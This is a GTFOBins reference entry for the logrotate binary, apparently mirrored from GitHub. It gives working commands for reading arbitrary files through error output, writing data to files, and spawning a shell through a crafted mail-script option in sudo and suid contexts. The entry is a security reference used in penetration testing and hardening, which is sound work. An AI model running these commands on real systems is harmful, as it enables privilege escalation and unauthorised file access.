1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 22:46:19 +01:00
GTFOBins.github.io/_gtfobins/logrotate
2026-01-16 23:31:52 +01:00

33 lines
842 B
Plaintext

---
functions:
file-read:
- binary: false
code: |-
logrotate /path/to/input-file
comment: |-
The first word is returned in a error message.
contexts:
sudo:
suid:
unprivileged:
file-write:
- binary: false
code: |-
logrotate -l /path/to/output-file DATA
comment: |-
The content is written in a log file.
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config
echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
logrotate -m /path/to/temp-file.sh -f /path/to/temp-file
comment: |-
This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.
contexts:
sudo:
...